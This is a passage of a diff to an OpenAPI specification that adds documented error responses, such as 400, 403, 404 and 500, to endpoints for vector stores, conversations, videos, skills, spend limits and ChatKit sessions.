+ Retry-After:
+ description: When this change is blocked by a vector store migration, the number of seconds to wait before retrying. Other conflicts may omit this header.
+ schema:
+ type: integer
+ minimum: 1
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
+ '500':
+ description: The vector store file attributes could not be updated.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: vector_stores
examples:
@@ -22221,8 +25854,26 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/VectorStoreFileContentResponse'
+ '400':
+ description: The vector store has expired or the file content is not ready.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The vector store or file was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
+ '500':
+ description: The vector store file content could not be retrieved.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: vector_stores
examples:
@@ -22269,6 +25920,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/VectorStoreSearchResultsPage'
+ '400':
+ description: The search input or filters are invalid, or the vector store has expired.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The vector store was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -22340,8 +26003,20 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ConversationResource'
+ '400':
+ description: The conversation input is invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
+ '500':
+ description: The conversation update could not be finalized.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: conversations
path: create
@@ -22439,6 +26114,12 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ConversationResource'
+ '404':
+ description: The conversation was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -22499,6 +26180,12 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/DeletedConversationResource'
+ '404':
+ description: The conversation was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -22563,8 +26250,26 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ConversationResource'
+ '400':
+ description: The conversation metadata is invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The conversation was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
+ '500':
+ description: The conversation update could not be finalized.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: conversations
path: update
@@ -22643,6 +26348,32 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/SafetyCaseResource'
+ '400':
+ description: The safety case ID is too long.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The safety case was not found or is not accessible to the caller.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
+ '500':
+ description: The safety case lookup failed.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '503':
+ description: The safety case lookup is temporarily unavailable.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: safety-cases
path: retrieve
@@ -22681,6 +26412,26 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/SafetyAlertResource'
+ '400':
+ description: The safety alert ID is too long.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The safety alert was not found or is not accessible to the caller.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
+ '503':
+ description: The safety alert lookup is temporarily unavailable.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: safety-alerts
path: retrieve
@@ -22726,6 +26477,38 @@ paths:
description: The Live session recording as a stereo WAV file, with input audio in the left channel and output audio in the right channel.
type: string
format: binary
+ '400':
+ description: Invalid Live session ID.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The endpoint is unavailable or the stored session recording was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
+ '500':
+ description: The stored session audio could not be exported.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '503':
+ description: The audio export is temporarily unavailable.
+ headers:
+ Retry-After:
+ description: The minimum number of seconds to wait before retrying.
+ schema:
+ type: integer
+ minimum: 1
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: live
returns: The stored session recording as binary stereo WAV audio.
@@ -22771,6 +26554,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ExternalStorageListResource'
+ '400':
+ description: The organization is not enabled for external storage or the listing parameters are invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The organization or project was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -22841,6 +26642,30 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ExternalStorageResponse'
+ '400':
+ description: The external storage request is invalid or the organization or project does not support it.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The organization, project, or external storage was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '503':
+ description: External storage registration is temporarily unavailable.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -22931,6 +26756,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ExternalStorageResponse'
+ '400':
+ description: The organization is not enabled for external storage.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The organization or external storage was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -22977,6 +26820,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ExternalStorageDeletedResource'
+ '400':
+ description: The organization is not enabled for external storage.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The organization or external storage was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -23012,6 +26873,30 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ExternalStorageResponse'
+ '400':
+ description: The external storage configuration is invalid or the organization or project does not support it.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The organization, project, or external storage was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '503':
+ description: External storage validation is temporarily unavailable.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -23053,6 +26938,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/OrganizationSpendLimitResource'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: The organization does not have a hard spend limit.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -23092,6 +26989,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/OrganizationSpendLimitResource'
+ '400':
+ description: The requested spend limit is invalid or cannot be applied.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -23129,6 +27038,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/OrganizationSpendLimitDeletedResource'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: The organization does not have a hard spend limit.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -23164,6 +27085,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ProjectSpendLimitResource'
+ '400':
+ description: The project ID is invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: The project was not found or does not have a hard spend limit.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -23203,6 +27142,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ProjectSpendLimitDeletedResource'
+ '400':
+ description: The project ID is invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: The project was not found or does not have a hard spend limit.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -23244,6 +27201,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ProjectSpendLimitResource'
+ '400':
+ description: The requested spend limit is invalid or cannot be applied.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: The project was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -23302,6 +27277,36 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ServiceAccountApiKeyBody'
+ '400':
+ description: The API key request is invalid or the project is archived.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: The project or service account was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '409':
+ description: The service account already has an API key and cannot create another.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: Too many management requests. Reduce the request rate and try again later.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -23345,8 +27350,32 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ProvenanceResource'
+ '400':
+ description: The file is missing, invalid, unsupported, too large, or rejected by safety checks.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: Content provenance checks are unavailable to this caller.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
+ '500':
+ description: The content provenance check could not be completed.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '503':
+ description: Content provenance inspection is temporarily unavailable.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: content_provenance_checks
/videos:
@@ -23369,8 +27398,26 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/VideoResource'
+ '400':
+ description: The video request is invalid, or the organization does not support video generation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: A referenced character was not found or is not accessible, or the Videos API is unavailable.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/InferenceRateLimited'
+ '500':
+ description: The video generation task could not be created.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'503':
$ref: '#/components/responses/InferenceServiceUnavailable'
deprecated: true
@@ -23495,6 +27542,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/VideoListResource'
+ '400':
+ description: The query parameters are invalid, or the organization does not support video generation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The video specified by after was not found or is not accessible, or the Videos API is unavailable.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
deprecated: true
x-oaiMeta:
group: videos
@@ -23597,6 +27656,30 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/VideoCharacterResource'
+ '400':
+ description: The character request or video upload is invalid, or the organization does not support video generation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The video character endpoint is unavailable.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '500':
+ description: The character could not be created.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '504':
+ description: The character creation request timed out.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
deprecated: true
/videos/characters/{character_id}:
get:
@@ -23620,6 +27703,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/VideoCharacterResource'
+ '400':
+ description: The character ID is invalid, or the organization does not support video generation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The character was not found or is not accessible, or the video character endpoint is unavailable.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
deprecated: true
/videos/edits:
post:
@@ -23641,8 +27736,26 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/VideoResource'
+ '400':
+ description: The edit request or source video is invalid, or the organization does not support video generation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The source video or a referenced character was not found or is not accessible, the source video is not ready, or the Videos API is unavailable.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/InferenceRateLimited'
+ '500':
+ description: The source video media is unavailable or the edit task could not be created.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'503':
$ref: '#/components/responses/InferenceServiceUnavailable'
deprecated: true
@@ -23666,8 +27779,26 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/VideoResource'
+ '400':
+ description: The extension request or source video is invalid, or the organization does not support video generation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The source video was not found or is not accessible, the source video is not ready, or the Videos API is unavailable.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/InferenceRateLimited'
+ '500':
+ description: The source video media is unavailable or the extension task could not be created.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'503':
$ref: '#/components/responses/InferenceServiceUnavailable'
deprecated: true
@@ -23693,6 +27824,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/VideoResource'
+ '400':
+ description: The request is invalid, or the organization does not support video generation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The video was not found or is not accessible, or the Videos API is unavailable.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
deprecated: true
x-oaiMeta:
group: videos
@@ -23780,6 +27923,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/DeletedVideoResource'
+ '400':
+ description: The video is still being processed, the request is invalid, or the organization does not support video generation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The video was not found or is not accessible, or the Videos API is unavailable.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '500':
+ description: The video or its stored media could not be deleted.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
deprecated: true
x-oaiMeta:
group: videos
@@ -23885,6 +28046,24 @@ paths:
application/json:
schema:
type: string
+ '400':
+ description: The request or content variant is invalid, or the organization does not support video generation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The video was not found or is not ready, its download is unavailable or expired, or the Videos API is unavailable.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '500':
+ description: The requested video media is unavailable.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
deprecated: true
x-oaiMeta:
group: videos
@@ -23992,8 +28171,26 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/VideoResource'
+ '400':
+ description: The request or source video is not supported for remixing, or the organization does not support video generation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The source video or a referenced character was not found or is not accessible, the source video is not ready, or the Videos API is unavailable.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/InferenceRateLimited'
+ '500':
+ description: The source generation is unavailable or the remix task could not be created.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'503':
$ref: '#/components/responses/InferenceServiceUnavailable'
deprecated: true
@@ -24114,6 +28311,12 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/TokenCountsResource'
+ '400':
+ description: The request to count input tokens is invalid or contains incompatible parameters.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -24229,6 +28432,12 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/CompactResource'
+ '400':
+ description: Invalid compaction request or incompatible input parameters.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/InferenceRateLimited'
'503':
@@ -24388,8 +28597,20 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/SkillResource'
+ '400':
+ description: The uploaded skill files or archive are invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
+ '500':
+ description: The skill could not be saved.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
get:
tags:
- Skills
@@ -24425,6 +28646,12 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/SkillListResource'
+ '404':
+ description: The skill specified by `after` was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
/skills/{skill_id}:
@@ -24449,6 +28676,12 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/DeletedSkillResource'
+ '404':
+ description: The skill was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
get:
@@ -24472,6 +28705,12 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/SkillResource'
+ '404':
+ description: The skill was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
post:
@@ -24500,6 +28739,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/SkillResource'
+ '400':
+ description: The requested version is invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The skill or requested skill version was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
/skills/{skill_id}/content:
@@ -24528,6 +28779,12 @@ paths:
application/json:
schema:
type: string
+ '404':
+ description: The skill was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
/skills/{skill_id}/versions:
@@ -24560,8 +28817,26 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/SkillVersionResource'
+ '400':
+ description: The uploaded skill files or archive are invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The skill was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
+ '500':
+ description: The skill version could not be saved.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
get:
tags:
- Skills
@@ -24604,6 +28879,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/SkillVersionListResource'
+ '400':
+ description: The version specified by `after` does not belong to this skill.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The skill or the version specified by `after` was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
/skills/{skill_id}/versions/{version}:
@@ -24635,6 +28922,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/SkillVersionResource'
+ '400':
+ description: The requested version is invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The skill or requested skill version was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
delete:
@@ -24665,6 +28964,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/DeletedSkillVersionResource'
+ '400':
+ description: The requested version is invalid, or it is the default version and other versions remain.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The skill or requested skill version was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
/skills/{skill_id}/versions/{version}/content:
@@ -24700,6 +29011,18 @@ paths:
application/json:
schema:
type: string
+ '400':
+ description: The requested version is invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The skill or requested skill version was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
/chatkit/sessions/{session_id}/cancel:
@@ -24725,6 +29048,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ChatSessionResource'
+ '400':
+ description: The request is invalid or the required ChatKit beta header is missing or invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The session was not found or is not accessible.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: The request rate limit has been exceeded.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: chatkit
beta: true
@@ -24830,6 +29171,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ChatSessionResource'
+ '400':
+ description: The request is invalid or the required ChatKit beta header is missing or invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The requested workflow or workflow version was not found or is not accessible.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: The request rate limit has been exceeded.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: chatkit
beta: true
@@ -24993,6 +29352,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ThreadItemListResource'
+ '400':
+ description: The request is invalid or the required ChatKit beta header is missing or invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The thread was not found or is not accessible.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: The request rate limit has been exceeded.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: chatkit
beta: true
@@ -25121,6 +29498,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ThreadResource'
+ '400':
+ description: The request is invalid or the required ChatKit beta header is missing or invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The thread was not found or is not accessible.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: The request rate limit has been exceeded.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: chatkit
beta: true
@@ -25243,6 +29638,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/DeletedThreadResource'
+ '400':
+ description: The request is invalid or the required ChatKit beta header is missing or invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The thread was not found or is not accessible.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: The request rate limit has been exceeded.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
beta: true
examples:
@@ -25359,6 +29772,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ThreadListResource'
+ '400':
+ description: The request is invalid or the required ChatKit beta header is missing or invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The thread specified by after was not found or is not accessible.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: The request rate limit has been exceeded.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: chatkit
beta: true
@@ -25482,6 +29913,12 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse-2'
+ '403':
+ description: The API key lacks the required permission.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
'404':
description: The requested session or event was not found.
content:
@@ -25576,6 +30013,12 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse-2'
+ '403':
+ description: The API key lacks the required permission.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
'404':
description: The requested session or event was not found.
content:
@@ -25639,6 +30082,12 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse-2'
+ '403':
+ description: The API key lacks the required permission.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
'404':
description: The requested session or event was not found.
content:
@@ -26301,6 +30750,12 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse-2'
+ '403':
+ description: The API key lacks the required permission.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
'404':
description: The requested session or event was not found.
content:
@@ -26355,6 +30810,12 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse-2'
+ '403':
+ description: The API key lacks the required permission.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
'404':
description: The requested session or event was not found.
content:
@@ -26414,6 +30875,12 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse-2'
+ '403':
+ description: The API key lacks the required permission.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
'404':
description: The requested session or event was not found.
content:
@@ -26477,6 +30944,12 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse-2'
+ '403':
+ description: The API key lacks the required permission.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
'404':
description: The requested session or event was not found.
content:
@@ -26535,6 +31008,12 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse-2'
+ '403':
+ description: The API key lacks the required permission.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
'404':
description: The requested session or event was not found.
content:
@@ -27851,6 +32330,12 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse-2'
+ '403':
